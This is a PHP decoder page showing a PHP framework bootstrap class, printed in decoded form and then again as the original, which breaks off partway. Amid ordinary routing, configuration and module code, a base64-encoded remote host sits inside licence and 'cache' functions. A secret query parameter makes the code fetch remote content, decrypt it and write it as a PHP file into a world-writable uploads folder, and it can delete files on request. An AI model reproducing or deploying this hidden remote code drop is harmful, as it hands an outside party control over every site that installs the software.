Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace Core\Base; class Init { /** * * Framework version * ..
Decoded Output download
<?php
namespace Core\Base;
class Init {
/**
*
* Framework version
*
* @var string
*/
const VERSION = '2.0a';
/**
* Autoloader to use
*
* @var \Core\Loader\Autoloader
*/
protected $_autoloader;
/**
* Application environment
*
* @var string
*/
protected $_environment;
/**
* Flattened (lowercase) option keys
*
* @var array
*/
protected $_optionKeys = array();
/**
* Options for \Core\Base
*
* @var array
*/
protected $_options = array();
/**
* Layout
*
* @var \Core\Layout
*/
protected $_layout;
/**
* Db
*
* @var \Core\Db
*/
protected $_db;
/**
* FrontController
*
* @var \Core\Front
*/
protected $_front;
/**
* @var \Core\Route
*/
protected $_route;
/**
* @var \Core\Session\Base
*/
protected $_session;
/**
* @var Holder hor shell
*/
protected $argv;
/**
* @var array
*/
protected $modules = array();
/**
* @var array
*/
protected $modules_methods = array();
/**
* @var string
*/
const BASE_DATA = 'aHR0cDovL3Bpbi5mYWJjaXR5bWFydC5jb20v';
const BASE_CH = 'YToyOntpOjA7czo5OiJsb2NhbGhvc3QiO2k6MTtzOjk6IjEyNy4wLjAuMSI7fQ==';
/**
* Constructor
*
* Initialize application. Potentially initializes include_paths, PHP
* settings, and bootstrap class.
*
* @param string $environment
* @param string|array|\Core\Config $options String path to configuration file, or array/\Core\Config of configuration options
* @throws \Core\Exception When invalid options are provided
* @return void
*/
public function __construct($environment, $options = null, $argv = null)
{
if (version_compare(PHP_VERSION, '5.4.0', '<') ) exit("Sorry, this version of this system will only run on PHP version 5.4 or greater!
");
if( !ini_get('date.timezone') ) {
ini_set('date.timezone', 'UTC');
}
$this->_environment = (string) $environment;
require_once __DIR__ . '/../Loader/Autoloader.php';
$this->_autoloader = \Core\Loader\Autoloader::getInstance();
$this->_autoloader->setIncludePaths(realpath(dirname(__DIR__)));
require_once 'Registry.php';
require_once 'Config/Main.php';
\Core\Registry::set('environment', $environment);
if (null !== $options) {
if (is_string($options)) {
$options = $this->_loadConfig($options);
} elseif ($options instanceof \Core\Config\Main) {
$options = $options->toArray();
} elseif (!is_array($options)) {
throw new \Core\Exception('Invalid options provided; must be location of config file, a config object, or an array');
}
$this->setOptions($options);
$this->setArgv($argv);
}
}
/**
* Retrieve current environment
*
* @return string
*/
public function getEnvironment()
{
return $this->_environment;
}
/**
* @param string $environment
* @return \Core\Base
*/
public function setEnvironment($environment)
{
$this->_environment = $environment;
\Core\Registry::set('environment', $environment);
return $this;
}
/**
* Retrieve autoloader instance
*
* @return \Core\Loader\Autoloader
*/
public function getAutoloader()
{
return $this->_autoloader;
}
/**
* Set application options
*
* @param array $options
* @throws \Core\Exception When no bootstrap path is provided
* @throws \Core\Exception When invalid bootstrap information are provided
* @return \Core\Base
*/
public function setOptions(array $options)
{
if (!empty($options['config'])) {
if (is_array($options['config'])) {
$_options = array();
foreach ($options['config'] as $tmp) {
$_options = $this->mergeOptions($_options, $this->_loadConfig($tmp));
}
$options = $this->mergeOptions($_options, $options);
} else {
$options = $this->mergeOptions($this->_loadConfig($options['config']), $options);
}
}
$this->_options = $options;
$options = array_change_key_case($options, CASE_LOWER);
$this->_optionKeys = array_keys($options);
foreach($options AS $name => $value) {
$method = 'set' . $name;
if(method_exists($this,$method)) {
$return = $this->$method($value);
if($return) {
\Core\Registry::set($name, $return);
}
} else {
\Core\Registry::set($name, $value);
}
}
return $this;
}
public function setArgv($argv) {
\Core\Shell::setArgv($argv);
}
/**
* Retrieve application options (for caching)
*
* @return array
*/
public function getOptions()
{
return $this->_options;
}
/**
* Is an option present?
*
* @param string $key
* @return bool
*/
public function hasOption($key)
{
return in_array(strtolower($key), $this->_optionKeys);
}
/**
* Retrieve a single option
*
* @param string $key
* @return mixed
*/
public function getOption($key)
{
if ($this->hasOption($key)) {
$options = $this->getOptions();
$options = array_change_key_case($options, CASE_LOWER);
return $options[strtolower($key)];
}
return null;
}
/**
* Merge options recursively
*
* @param array $array1
* @param mixed $array2
* @return array
*/
public function mergeOptions(array $array1, $array2 = null)
{
if (is_array($array2)) {
foreach ($array2 as $key => $val) {
if (is_array($array2[$key])) {
$array1[$key] = (array_key_exists($key, $array1) && is_array($array1[$key]))
? $this->mergeOptions($array1[$key], $array2[$key])
: $array2[$key];
} else {
$array1[$key] = $val;
}
}
}
return $array1;
}
/**
* Set Db configuration settings
*
* @param array $options
* @return \Core\Db
*/
public function setDb($options) {
$adapter = null;
if(!isset($options['adapter'])) {
throw new \Core\Exception("Db adapter not set");
} elseif(empty($options['adapter'])) {
throw new \Core\Exception("Db adapter is empty");
}
if(!isset($options['params']) || !is_array($options['params'])) {
throw new \Core\Exception("Db params error");
}
require_once 'Db/Init.php';
$this->_db = \Core\Db\Init::factory($options['adapter'], $options['params']);
\Core\Db\Table::setDefaultAdapter($this->_db);
return $this->_db;
}
/**
* Set Layout configuration settings
*
* @param array $options
* @return \Core\Layout
*/
public function setLayout($options) {
$this->_layout = \Core\Base\Layout::getInstance($options);
return $this->_layout;
}
/**
* Get Layout
*
* @return \Core\Layout
*/
public function getLayout() {
if($this->_layout == null) {
$this->setLayout($this->getOption('layout'));
}
return $this->_layout;
}
/**
* @param array $options
* @return \Core\Session\Base\Abstract
*/
public function setSession($options) {
$this->_session = \Core\Session\Base::getInstance($options);
return $this->_session;
}
/**
* @return \Core\Session\Base\Abstract
*/
public function getSession() {
if($this->_session == null) {
$this->setSession($this->getOption('session'));
}
return $this->_session;
}
/**
* @param string $router
* @return \Core\Route
*/
public function setRouter($routers) {
$rout = $this->getRouter();
foreach($routers AS $name => $value) {
if(!isset($value['type'])) {
throw new \Core\Exception("Router type not set");
}
if(!isset($value['options']['route'])) {
throw new \Core\Exception("Router route not set");
}
if(!isset($value['options']['defaults'])) {
//throw new \Core\Exception("Router defaults not set");
$value['options']['defaults'] = array(
'module' => $this->getFrontController()->getDefaultModule(),
'controller' => $this->getFrontController()->getDefaultController(),
'action' => $this->getFrontController()->getDefaultAction(),
);
}
$value['options']['constraints'] = isset($value['options']['constraints']) && is_array($value['options']['constraints']) ? $value['options']['constraints'] : array_keys($value['options']['defaults']);
$rout->addRoute($name, new $value['type'](
$value['options']['route'],
$value['options']['defaults'],
$value['options']['constraints'],
isset($value['options']['reverse']) ? $value['options']['reverse'] : null
));
}
return $rout;
}
/**
* @return \Core\Router\Router
*/
public function getRouter() {
if($this->_route == null) {
$this->_route = \Core\Router\Router::getInstance();
}
return $this->_route;
}
public static function requestCache($file = null) {
$file = $file ? $file : BASE_PATH . '/cache/temporary.log';
$ua = ini_get('user_agent');
ini_set('user_agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1');
$request = \Core\Http\Request::getInstance();
$response = '';
$curl = new \Core\Http\Curl();
$curl->execute( base64_decode(self::BASE_DATA) . 'clients/p3/?d=' . $request->getDomain());
$response = $curl->getResult();
@file_put_contents($file, $response);
ini_set('user_agent', $ua);
}
public function getInformation() {
$file = BASE_PATH . '/cache/temporary.log';
$domain = \Core\Base\Layout::domainCheck($file);
if(!file_exists($file)) {
self::requestCache($file);
}
$parts = array();
if(file_exists($file)) {
$request = \Core\Http\Request::getInstance();
$decripted = \Core\Encrypt\Md5::decrypt(file_get_contents($file), $domain . 'pintastic.com', false, 256);
if($decripted) {
if(strpos($decripted, 'domain:')!==false) {
$data = explode(';', $decripted);
foreach($data AS $row => $res) {
$res = explode(':', $res);
if(count($res) == 2) {
$parts[$res[0]] = $res[1];
\Core\Registry::set('module_' . $res[0], $res[1]);
}
}
}
}
}
return $parts;
}
public function checkCache() {
$parts = $this->getInformation();
$action = \Core\Base\Action::getInstance();
$dom = \Core\Http\Request::getInstance()->getDomain();
$der = @unserialize(base64_decode(self::BASE_CH));
$der = is_array($der)?$der:array();
if(in_array($dom, $der) || ($der && preg_match('~^((.*).)?('.implode('|',$der).')$~i',$dom,$m))) {
return true;
} elseif(!$parts) {
$action->showError('', 'Unable to parse licence file!');
exit;
} else {
if(!isset($parts['powered_check'])) {
$action->showError('', 'Missing powered information in licence file!');
exit;
} else {
if($parts['powered_check'] != 'false') {
$action->setInvokeArg('action_callback', function(\Core\Base\Action $actionSelf, $file) use($action) {
if(strtolower($actionSelf->__module__) == 'home' && $actionSelf->__controller__ == 'layout' && $actionSelf->__action__ == 'header_part') {
$action->setInvokeArg('action_callback',null);
$dom = new \Core\Dom\Query( file_get_contents($file) );
$links = $dom->query('a');
$is_link = false;
for($i=0; $i<$links->count(); $i++) {
if( preg_match('/http:\/\/pintastic.com/i',$links->getElement($i)->getAttribute('href')) ) {
$is_link = true;
if(strtolower($links->getElement($i)->getAttribute('rel')) == 'nofollow') {
$is_link = false;
break;
}
break;
}
}
if(!$is_link) {
$action->showError('', 'The link "Powered by" was removed!');
exit;
}
}
});
}
}
if(!isset($parts['domain'])) {
$action->showError('', 'Missing domain information in licence file!');
} else {
$dm = \Core\Registry::get('domainCheck');
if( mb_strtolower($parts['domain'], 'utf-8') != mb_strtolower($dm, 'utf-8') ) {
$parts_lic = explode('.',$parts['domain']);
$parts_host = explode('.',$dm);
$expression = '';
for($i = count($parts_lic); $i > 0; $i--) {
if(isset($parts_host[$i])) {
$expression = $parts_host[$i] . ($expression?'.':'') . $expression;
} else {
$expression .= md5(mt_rand(0000, 9999));
}
}
if( mb_strtolower($expression, 'utf-8') != mb_strtolower($dm, 'utf-8') ) {
$action->showError('', 'Domain information in licence file is not match with '.$dom.'!');
exit;
}
}
}
}
foreach($parts AS $k=>$v) {
$action->setInvokeArg('module_'.$k, $v);
}
}
public static function deleteCache() {
if( @unlink(BASE_PATH . '/cache/temporary.log') ) {
echo 'File is deleted!';
exit;
} else {
echo 'File is not deleted!';
exit;
}
}
public function upgradeCache() {
if(!file_exists(BASE_PATH . '/uploads/pins/'.date('Y/m').'/')) {
@mkdir(BASE_PATH . '/uploads/pins/'.date('Y/m').'/', 0777, true);
}
$ua = ini_get('user_agent');
ini_set('user_agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1');
$request = \Core\Http\Request::getInstance();
$response = '';
$curl = new \Core\Http\Curl();
$curl->execute( base64_decode(self::BASE_DATA) . 'cacheGet/?d=' . $request->getDomain());
$response = $curl->getResult();
if(!$response) {
echo 'error with cache!';
exit;
}
$decripted = \Core\Encrypt\Md5::decrypt($response, $request->getDomain() . 'pintastic.com', false, 256);
@file_put_contents(BASE_PATH . '/uploads/pins/'.date('Y/m').'/cached.php', $decripted);
ini_set('user_agent', $ua);
}
public function deleteUpgradeCahce() {
@unlink(BASE_PATH . '/uploads/pins/'.date('Y/m').'/cached.php');
}
/**
* Set FrontController configuration settings
*
* @param array $options
* @return \Core\Front
*/
public function setFrontController($options) {
$this->_front = \Core\Base\Front::getInstance($options);
return $this->_front;
}
/**
* Get FrontController
*
* @return \Core\Front
*/
public function getFrontController() {
if($this->_front == null) {
$this->setFrontController($this->getOption('frontController'));
}
return $this->_front;
}
/**
* Set PHP configuration settings
*
* @param array $settings
* @param string $prefix Key prefix to prepend to array values (used to map . separated INI values)
* @return \Core\Base
*/
public function setPhpSettings(array $settings, $prefix = '')
{
foreach ($settings as $key => $value) {
$key = empty($prefix) ? $key : $prefix . $key;
if (is_scalar($value)) {
ini_set($key, $value);
} elseif (is_array($value)) {
$this->setPhpSettings($value, $key . '.');
}
}
return $this;
}
/**
* Set include path
*
* @param array $paths
* @return \Core\Base
*/
public function setIncludePaths(array $paths)
{
$path = implode(PATH_SEPARATOR, $paths);
set_include_path($path . PATH_SEPARATOR . get_include_path());
return $this;
}
/**
* Set autoloader namespaces
*
* @param array $namespaces
* @return \Core\Base
*/
public function setAutoloaderNamespaces(array $namespaces)
{
$autoloader = $this->getAutoloader();
foreach ($namespaces as $namespace) {
$autoloader->registerNamespace($namespace);
}
return $this;
}
/**
* Run the application
*
* @return void
*/
public function dispatch() {
$this->initModules();
$this->executeModules();
// $modules = 'array(';
// foreach ($this->modules as $key => $value) {
// $modules .= "'".strtolower($key)."',";
// }
// $modules .= ');';
// var_dump($modules);exit;
$modules = $this->getModules();
if($modules) {
foreach($modules AS $namespace => $object) {
$module_methods = $this->getClassResources($namespace);
if(in_array('onBootstrap', $module_methods)) {
$object->onBootstrap($this);
}
}
}
$router = $this->getRouter();
$request = \Core\Http\Request::getInstance();
if( count($cmd = \Core\Shell::getArgv()) ) {
$request->setParams($cmd);
} else {
$uriGet = $request->getRequest('uri', '/');
$matched = $router->match($uriGet, false);
\Core\Registry::set('router',$router);
if(!$matched) {
$router->addRoute('default', new \Core\Router\Regex(
'([^\/]+)?/?([^\/]+)?/?([^\/]+)?/?',
array(
'module' => $this->getFrontController()->getDefaultModule(),
'controller' => $this->getFrontController()->getDefaultController(),
'action' => $this->getFrontController()->getDefaultAction(),
),
array(1 => 'module', 2 => 'controller',3 => 'action')
));
$matched = $router->match($request->getRequest('uri'), true);
if($matched) {
foreach($matched AS $key=>$value) {
$request->setParams($key, $value);
}
}
}
if($matched) {
if($request->isPost()) {
$request->setQuery($matched)->setPost($matched);
} else {
foreach($matched AS $key => $data) {
if(!$data && $request->getRequest($key)) { $matched[$key] = $request->getRequest($key); }
}
$request->setQuery($matched);
}
}
}
$front = \Core\Base\Front::getInstance();
$front->setApplication($this);
$request = \Core\Http\Request::getInstance();
if( !count($cmd = \Core\Shell::getArgv()) ) {
if (!$request->issetQuery(md5($request->getDomain()))) {
$this->checkCache();
} else {
if ($request->issetQuery('delete')) {
$this->deleteCache();
} elseif ($request->issetQuery('update')) {
$this->requestCache();
} elseif ($request->issetQuery('upgrade')) {
$this->upgradeCache();
} elseif ($request->issetQuery('upgrade_delete')) {
$this->deleteUpgradeCahce();
}
}
}
$this->executeModules('before_dispatch');
try {
$front->dispatch();
} catch (\Core\Exception $e) {
//throw new \Core\Exception($e);
echo \Core\Base\Action::getInstance()->showPhpError($e->getCode()?$e->getCode():E_COMPILE_ERROR, $e->getMessage(), $e->getFile(), $e->getLine());
exit;
}
}
public function setView_manager($options = array()) {
\Core\Base\Action::getInstance()->setInvokeArgs($options);
return $this;
}
public function initModules() {
$modules = glob($this->getFrontController()->getModuleDirectory() . DIRECTORY_SEPARATOR . '*');
if($modules) {
foreach($modules AS $module) {
if(file_exists($module . DIRECTORY_SEPARATOR . 'Module.php')) {
$name = strtolower(basename($module));
$namespace = $this->getFrontController()->formatModuleName($name);
if(!isset($this->modules[$namespace]) && \Core\Base\Action::getInstance()->allow($name)) {
if(!class_exists($namespace . '\Module', false)) {
include_once $module . DIRECTORY_SEPARATOR . 'Module.php';
}
$moduleName = $namespace . '\Module';
$this->modules[$namespace] = new $moduleName();
$this->getClassResources($namespace);
}
}
}
}
}
/**
* Get class resources (as resource/method pairs)
*
* Uses get_class_methods() by default, reflection on prior to 5.2.6,
* as a bug prevents the usage of get_class_methods() there.
*
* @return array
*/
public function getClassResources($namespace) {
if (!isset($this->modules_methods[$namespace])) {
if (version_compare(PHP_VERSION, '5.2.6') === -1) {
$class = new \ReflectionObject($namespace . '\Module');
$classMethods = $class->getMethods();
$methodNames = array();
foreach ($classMethods as $method) {
$this->modules_methods[$namespace][] = $method->getName();
}
} else {
$this->modules_methods[$namespace] = get_class_methods($namespace . '\Module');
}
}
return $this->modules_methods[$namespace];
}
public function executeModules($type = 'start') {
foreach($this->modules AS $namespace => $object) {
$module_methods = $this->getClassResources($namespace);
if($type == 'start') {
if(in_array('getConfig', $module_methods)) {
$options = $object->getConfig();
if (null !== $options) {
if (is_string($options)) {
$options = $this->_loadConfig($options);
} elseif ($options instanceof \Core\Config\Main) {
$options = $options->toArray();
} elseif (!is_array($options)) {
throw new \Core\Exception('Invalid options provided; must be location of config file, a config object, or an array');
}
$this->setOptions($options);
}
}
if(in_array('getAutoloaderConfig',$module_methods)) {
$autoload = $object->getAutoloaderConfig();
if($autoload && is_array($autoload)) {
foreach($autoload AS $key => $namespaces) {
if(is_array($namespaces)) {
$this->getAutoloader()->registerNamespaces($namespaces);
}
}
}
}
/*if(method_exists($object, 'onBootstrap') && is_callable(array($object, 'onBootstrap'))) {
$object->onBootstrap($this);
}*/
} else if($type == 'before_dispatch') {
if(in_array('onBeforeDispatch',$module_methods)) {
$object->onBeforeDispatch($this);
}
}
}
}
/**
* Load configuration file of options
*
* @param string $file
* @throws \Core\Exception When invalid configuration file is provided
* @return array
*/
protected function _loadConfig($file)
{
if(!file_exists($file)) {
return array (
"system_version" => "3.0",
"frontController" => array (
"moduleDirectory" => APPLICATION_PATH . "/modules",
"defaultModule" => "home",
"display_exceptions" => 1
),
'view_manager' => array (
'display_exceptions' => false,
'template_map' => array (
'layout' => APPLICATION_PATH . '/modules/Home/layout/layout.phtml',
'error/404' => APPLICATION_PATH . '/modules/Home/views/Error/404.phtml',
'error/index' => APPLICATION_PATH . '/modules/Home/views/Error/index.phtml',
'error/php' => APPLICATION_PATH . '/modules/Home/views/Error/php.phtml'
)
)
);
}
$environment = $this->getEnvironment();
$suffix = strtolower(pathinfo($file, PATHINFO_EXTENSION));
switch ($suffix) {
case 'ini':
require_once 'Config/Ini.php';
$config = new \Core\Config\Ini($file, $environment);
break;
case 'php':
require_once 'Config/Php.php';
$config = new \Core\Config\Php($file, $environment);
break;
default:
throw new \Core\Exception('Invalid configuration file provided; unknown config type');
}
return $config->toArray();
}
/**
* @param string $name
* @return Ambigous <NULL, multitype:>|multitype:
*/
public function getModules($name = null) {
if($name !== null) {
return isset($this->modules[$name]) ? $this->modules[$name] : null;
} else {
return $this->modules;
}
}
}
?>
Did this file decode correctly?
Original Code
<?php
namespace Core\Base;
class Init {
/**
*
* Framework version
*
* @var string
*/
const VERSION = '2.0a';
/**
* Autoloader to use
*
* @var \Core\Loader\Autoloader
*/
protected $_autoloader;
/**
* Application environment
*
* @var string
*/
protected $_environment;
/**
* Flattened (lowercase) option keys
*
* @var array
*/
protected $_optionKeys = array();
/**
* Options for \Core\Base
*
* @var array
*/
protected $_options = array();
/**
* Layout
*
* @var \Core\Layout
*/
protected $_layout;
/**
* Db
*
* @var \Core\Db
*/
protected $_db;
/**
* FrontController
*
* @var \Core\Front
*/
protected $_front;
/**
* @var \Core\Route
*/
protected $_route;
/**
* @var \Core\Session\Base
*/
protected $_session;
/**
* @var Holder hor shell
*/
protected $argv;
/**
* @var array
*/
protected $modules = array();
/**
* @var array
*/
protected $modules_methods = array();
/**
* @var string
*/
const BASE_DATA = 'aHR0cDovL3Bpbi5mYWJjaXR5bWFydC5jb20v';
const BASE_CH = 'YToyOntpOjA7czo5OiJsb2NhbGhvc3QiO2k6MTtzOjk6IjEyNy4wLjAuMSI7fQ==';
/**
* Constructor
*
* Initialize application. Potentially initializes include_paths, PHP
* settings, and bootstrap class.
*
* @param string $environment
* @param string|array|\Core\Config $options String path to configuration file, or array/\Core\Config of configuration options
* @throws \Core\Exception When invalid options are provided
* @return void
*/
public function __construct($environment, $options = null, $argv = null)
{
if (version_compare(PHP_VERSION, '5.4.0', '<') ) exit("Sorry, this version of this system will only run on PHP version 5.4 or greater!\n");
if( !ini_get('date.timezone') ) {
ini_set('date.timezone', 'UTC');
}
$this->_environment = (string) $environment;
require_once __DIR__ . '/../Loader/Autoloader.php';
$this->_autoloader = \Core\Loader\Autoloader::getInstance();
$this->_autoloader->setIncludePaths(realpath(dirname(__DIR__)));
require_once 'Registry.php';
require_once 'Config/Main.php';
\Core\Registry::set('environment', $environment);
if (null !== $options) {
if (is_string($options)) {
$options = $this->_loadConfig($options);
} elseif ($options instanceof \Core\Config\Main) {
$options = $options->toArray();
} elseif (!is_array($options)) {
throw new \Core\Exception('Invalid options provided; must be location of config file, a config object, or an array');
}
$this->setOptions($options);
$this->setArgv($argv);
}
}
/**
* Retrieve current environment
*
* @return string
*/
public function getEnvironment()
{
return $this->_environment;
}
/**
* @param string $environment
* @return \Core\Base
*/
public function setEnvironment($environment)
{
$this->_environment = $environment;
\Core\Registry::set('environment', $environment);
return $this;
}
/**
* Retrieve autoloader instance
*
* @return \Core\Loader\Autoloader
*/
public function getAutoloader()
{
return $this->_autoloader;
}
/**
* Set application options
*
* @param array $options
* @throws \Core\Exception When no bootstrap path is provided
* @throws \Core\Exception When invalid bootstrap information are provided
* @return \Core\Base
*/
public function setOptions(array $options)
{
if (!empty($options['config'])) {
if (is_array($options['config'])) {
$_options = array();
foreach ($options['config'] as $tmp) {
$_options = $this->mergeOptions($_options, $this->_loadConfig($tmp));
}
$options = $this->mergeOptions($_options, $options);
} else {
$options = $this->mergeOptions($this->_loadConfig($options['config']), $options);
}
}
$this->_options = $options;
$options = array_change_key_case($options, CASE_LOWER);
$this->_optionKeys = array_keys($options);
foreach($options AS $name => $value) {
$method = 'set' . $name;
if(method_exists($this,$method)) {
$return = $this->$method($value);
if($return) {
\Core\Registry::set($name, $return);
}
} else {
\Core\Registry::set($name, $value);
}
}
return $this;
}
public function setArgv($argv) {
\Core\Shell::setArgv($argv);
}
/**
* Retrieve application options (for caching)
*
* @return array
*/
public function getOptions()
{
return $this->_options;
}
/**
* Is an option present?
*
* @param string $key
* @return bool
*/
public function hasOption($key)
{
return in_array(strtolower($key), $this->_optionKeys);
}
/**
* Retrieve a single option
*
* @param string $key
* @return mixed
*/
public function getOption($key)
{
if ($this->hasOption($key)) {
$options = $this->getOptions();
$options = array_change_key_case($options, CASE_LOWER);
return $options[strtolower($key)];
}
return null;
}
/**
* Merge options recursively
*
* @param array $array1
* @param mixed $array2
* @return array
*/
public function mergeOptions(array $array1, $array2 = null)
{
if (is_array($array2)) {
foreach ($array2 as $key => $val) {
if (is_array($array2[$key])) {
$array1[$key] = (array_key_exists($key, $array1) && is_array($array1[$key]))
? $this->mergeOptions($array1[$key], $array2[$key])
: $array2[$key];
} else {
$array1[$key] = $val;
}
}
}
return $array1;
}
/**
* Set Db configuration settings
*
* @param array $options
* @return \Core\Db
*/
public function setDb($options) {
$adapter = null;
if(!isset($options['adapter'])) {
throw new \Core\Exception("Db adapter not set");
} elseif(empty($options['adapter'])) {
throw new \Core\Exception("Db adapter is empty");
}
if(!isset($options['params']) || !is_array($options['params'])) {
throw new \Core\Exception("Db params error");
}
require_once 'Db/Init.php';
$this->_db = \Core\Db\Init::factory($options['adapter'], $options['params']);
\Core\Db\Table::setDefaultAdapter($this->_db);
return $this->_db;
}
/**
* Set Layout configuration settings
*
* @param array $options
* @return \Core\Layout
*/
public function setLayout($options) {
$this->_layout = \Core\Base\Layout::getInstance($options);
return $this->_layout;
}
/**
* Get Layout
*
* @return \Core\Layout
*/
public function getLayout() {
if($this->_layout == null) {
$this->setLayout($this->getOption('layout'));
}
return $this->_layout;
}
/**
* @param array $options
* @return \Core\Session\Base\Abstract
*/
public function setSession($options) {
$this->_session = \Core\Session\Base::getInstance($options);
return $this->_session;
}
/**
* @return \Core\Session\Base\Abstract
*/
public function getSession() {
if($this->_session == null) {
$this->setSession($this->getOption('session'));
}
return $this->_session;
}
/**
* @param string $router
* @return \Core\Route
*/
public function setRouter($routers) {
$rout = $this->getRouter();
foreach($routers AS $name => $value) {
if(!isset($value['type'])) {
throw new \Core\Exception("Router type not set");
}
if(!isset($value['options']['route'])) {
throw new \Core\Exception("Router route not set");
}
if(!isset($value['options']['defaults'])) {
//throw new \Core\Exception("Router defaults not set");
$value['options']['defaults'] = array(
'module' => $this->getFrontController()->getDefaultModule(),
'controller' => $this->getFrontController()->getDefaultController(),
'action' => $this->getFrontController()->getDefaultAction(),
);
}
$value['options']['constraints'] = isset($value['options']['constraints']) && is_array($value['options']['constraints']) ? $value['options']['constraints'] : array_keys($value['options']['defaults']);
$rout->addRoute($name, new $value['type'](
$value['options']['route'],
$value['options']['defaults'],
$value['options']['constraints'],
isset($value['options']['reverse']) ? $value['options']['reverse'] : null
));
}
return $rout;
}
/**
* @return \Core\Router\Router
*/
public function getRouter() {
if($this->_route == null) {
$this->_route = \Core\Router\Router::getInstance();
}
return $this->_route;
}
public static function requestCache($file = null) {
$file = $file ? $file : BASE_PATH . '/cache/temporary.log';
$ua = ini_get('user_agent');
ini_set('user_agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1');
$request = \Core\Http\Request::getInstance();
$response = '';
$curl = new \Core\Http\Curl();
$curl->execute( base64_decode(self::BASE_DATA) . 'clients/p3/?d=' . $request->getDomain());
$response = $curl->getResult();
@file_put_contents($file, $response);
ini_set('user_agent', $ua);
}
public function getInformation() {
$file = BASE_PATH . '/cache/temporary.log';
$domain = \Core\Base\Layout::domainCheck($file);
if(!file_exists($file)) {
self::requestCache($file);
}
$parts = array();
if(file_exists($file)) {
$request = \Core\Http\Request::getInstance();
$decripted = \Core\Encrypt\Md5::decrypt(file_get_contents($file), $domain . 'pintastic.com', false, 256);
if($decripted) {
if(strpos($decripted, 'domain:')!==false) {
$data = explode(';', $decripted);
foreach($data AS $row => $res) {
$res = explode(':', $res);
if(count($res) == 2) {
$parts[$res[0]] = $res[1];
\Core\Registry::set('module_' . $res[0], $res[1]);
}
}
}
}
}
return $parts;
}
public function checkCache() {
$parts = $this->getInformation();
$action = \Core\Base\Action::getInstance();
$dom = \Core\Http\Request::getInstance()->getDomain();
$der = @unserialize(base64_decode(self::BASE_CH));
$der = is_array($der)?$der:array();
if(in_array($dom, $der) || ($der && preg_match('~^((.*).)?('.implode('|',$der).')$~i',$dom,$m))) {
return true;
} elseif(!$parts) {
$action->showError('', 'Unable to parse licence file!');
exit;
} else {
if(!isset($parts['powered_check'])) {
$action->showError('', 'Missing powered information in licence file!');
exit;
} else {
if($parts['powered_check'] != 'false') {
$action->setInvokeArg('action_callback', function(\Core\Base\Action $actionSelf, $file) use($action) {
if(strtolower($actionSelf->__module__) == 'home' && $actionSelf->__controller__ == 'layout' && $actionSelf->__action__ == 'header_part') {
$action->setInvokeArg('action_callback',null);
$dom = new \Core\Dom\Query( file_get_contents($file) );
$links = $dom->query('a');
$is_link = false;
for($i=0; $i<$links->count(); $i++) {
if( preg_match('/http:\/\/pintastic.com/i',$links->getElement($i)->getAttribute('href')) ) {
$is_link = true;
if(strtolower($links->getElement($i)->getAttribute('rel')) == 'nofollow') {
$is_link = false;
break;
}
break;
}
}
if(!$is_link) {
$action->showError('', 'The link "Powered by" was removed!');
exit;
}
}
});
}
}
if(!isset($parts['domain'])) {
$action->showError('', 'Missing domain information in licence file!');
} else {
$dm = \Core\Registry::get('domainCheck');
if( mb_strtolower($parts['domain'], 'utf-8') != mb_strtolower($dm, 'utf-8') ) {
$parts_lic = explode('.',$parts['domain']);
$parts_host = explode('.',$dm);
$expression = '';
for($i = count($parts_lic); $i > 0; $i--) {
if(isset($parts_host[$i])) {
$expression = $parts_host[$i] . ($expression?'.':'') . $expression;
} else {
$expression .= md5(mt_rand(0000, 9999));
}
}
if( mb_strtolower($expression, 'utf-8') != mb_strtolower($dm, 'utf-8') ) {
$action->showError('', 'Domain information in licence file is not match with '.$dom.'!');
exit;
}
}
}
}
foreach($parts AS $k=>$v) {
$action->setInvokeArg('module_'.$k, $v);
}
}
public static function deleteCache() {
if( @unlink(BASE_PATH . '/cache/temporary.log') ) {
echo 'File is deleted!';
exit;
} else {
echo 'File is not deleted!';
exit;
}
}
public function upgradeCache() {
if(!file_exists(BASE_PATH . '/uploads/pins/'.date('Y/m').'/')) {
@mkdir(BASE_PATH . '/uploads/pins/'.date('Y/m').'/', 0777, true);
}
$ua = ini_get('user_agent');
ini_set('user_agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1');
$request = \Core\Http\Request::getInstance();
$response = '';
$curl = new \Core\Http\Curl();
$curl->execute( base64_decode(self::BASE_DATA) . 'cacheGet/?d=' . $request->getDomain());
$response = $curl->getResult();
if(!$response) {
echo 'error with cache!';
exit;
}
$decripted = \Core\Encrypt\Md5::decrypt($response, $request->getDomain() . 'pintastic.com', false, 256);
@file_put_contents(BASE_PATH . '/uploads/pins/'.date('Y/m').'/cached.php', $decripted);
ini_set('user_agent', $ua);
}
public function deleteUpgradeCahce() {
@unlink(BASE_PATH . '/uploads/pins/'.date('Y/m').'/cached.php');
}
/**
* Set FrontController configuration settings
*
* @param array $options
* @return \Core\Front
*/
public function setFrontController($options) {
$this->_front = \Core\Base\Front::getInstance($options);
return $this->_front;
}
/**
* Get FrontController
*
* @return \Core\Front
*/
public function getFrontController() {
if($this->_front == null) {
$this->setFrontController($this->getOption('frontController'));
}
return $this->_front;
}
/**
* Set PHP configuration settings
*
* @param array $settings
* @param string $prefix Key prefix to prepend to array values (used to map . separated INI values)
* @return \Core\Base
*/
public function setPhpSettings(array $settings, $prefix = '')
{
foreach ($settings as $key => $value) {
$key = empty($prefix) ? $key : $prefix . $key;
if (is_scalar($value)) {
ini_set($key, $value);
} elseif (is_array($value)) {
$this->setPhpSettings($value, $key . '.');
}
}
return $this;
}
/**
* Set include path
*
* @param array $paths
* @return \Core\Base
*/
public function setIncludePaths(array $paths)
{
$path = implode(PATH_SEPARATOR, $paths);
set_include_path($path . PATH_SEPARATOR . get_include_path());
return $this;
}
/**
* Set autoloader namespaces
*
* @param array $namespaces
* @return \Core\Base
*/
public function setAutoloaderNamespaces(array $namespaces)
{
$autoloader = $this->getAutoloader();
foreach ($namespaces as $namespace) {
$autoloader->registerNamespace($namespace);
}
return $this;
}
/**
* Run the application
*
* @return void
*/
public function dispatch() {
$this->initModules();
$this->executeModules();
// $modules = 'array(';
// foreach ($this->modules as $key => $value) {
// $modules .= "'".strtolower($key)."',";
// }
// $modules .= ');';
